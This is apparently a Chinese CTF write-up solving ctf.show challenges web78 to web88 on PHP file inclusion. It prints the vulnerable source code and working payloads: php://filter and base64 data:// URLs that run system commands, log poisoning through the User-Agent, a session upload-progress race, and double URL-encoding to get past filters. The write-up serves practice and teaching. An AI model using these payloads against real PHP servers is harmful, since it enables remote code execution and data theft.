关于文件包含

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。

文件包含漏洞

程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,
但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

常见的函数

PHP:include() , include_once() , require_once() , fopen() , readfile()等

web78

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

用PHP伪协议

index.php?file=php://filter/read=convert.base64-encode/resource=flag.php

web79

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了php,输入的php被替换成了???,通过base64的方式绕过

data协议

index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8+  //<?php system("ls")?>

index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== //<?php system("cat flag.php")?>

index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJubCAqIik7Pz4=  //<?php system("nl *")?>

web80

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

php和data都被过滤了,可以利用远程文件包含或者日志文件包含

远程文件包含意思就是在自己的服务器上写马,然后包含

日志文件包含:?file=/var/log/nginx/access.log

可以看到

我们的浏览器UA被写进了日志文件,那么我们将我们的UA修改为<?php system('cat f*');?>,然后包含就行了

web81

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

:也被过滤了,不过不影响日志文件包含

web82-86

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

.都被过滤了,太难了不会,直接放大师傅的博客吧https://www.cnblogs.com/NPFS/p/13795170.html

考点是利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

从php5.4开始有个session.upload_progress功能,这个功能是默认开启的,当我们向服务器中上传文件的时候,PHP会把上传文件的详细信息存储在session中,比如上传进度,上传时间等信息。

在session的默认选项中,session.use_strict_mode默认是off,也就是说我们可以自定义Session ID,比如我们在Cookie里写PHPSESSID=flag,那么PHP就会在服务器上创建一个文件:/tmp/sess_flag

但是另一个session.upload_progress.cleanup功能,在默认状态下处于开启状态,意思就是如果文件上传完毕,session文件内容就会被清除,那么我们就可以通过条件竞争,在清除之前来进行包含。

通过HTML文件上传数据

<!DOCTYPE html>
<html>
<body>
<form action="http://a6699cac-25ff-4360-94c5-ee50dfb067d2.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
    session_start();
?>

然后抓包修改

准备利用Intruder同时发上传文件请求和文件包含请求

字典只要大一点就行,将两个爆破请求都开启

web87

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
    highlight_file(__FILE__);
}

可以看到我们所输入的$content之前,被拼接上了<?php die('大佬别秀了');?>

这个时候我们用php://filter将其解码,然后再拼接我们的语句。因为php://filter流的base64-decode方法,可以将$content解码,利用php base64_decode函数特性去除前边的语句。

详细分析看P神文章:谈一谈php://filter的妙用

再分析题目

在 file_put_contents进行写入操作之前,我们所传的$file中的phpdata.都被str_replace过滤掉了,这时我们可以使用url编码绕过(这里第一次url编码)

 file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

然后我们传入的$file再次被urldecode解码,也就是说,我们的$file需要被两次url编码

file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%34%25%33%31%25%36%31%25%33%30%25%32%65%25%37%30%25%36%38%25%37%30    //两次url解码后变成
php://filter/write=convert.base64-decode/resource=d1a0.php

然后就是<?php die('大佬别秀了');?>,这句话经过上边的base64过滤,仅剩下phpdie六个字符,我们需要再加两个字符(base64算法解码时是4个byte一组),让他们被base64解码,从而不影响我们的PHP语句。

aa      +       PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
aaPD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==

web88

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

又过滤了一大堆

利用之前的data协议

index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8+  //<?php system("ls")?>

index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== //<?php system("cat flag.php")?>

index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJubCAqIik7Pz4=  //<?php system("nl *")?>

因为=被过滤了,所以去掉就行了,不影响base64解码

PD9waHAgc3lzdGVtKCJubCAqIik7    //<?php system("nl *");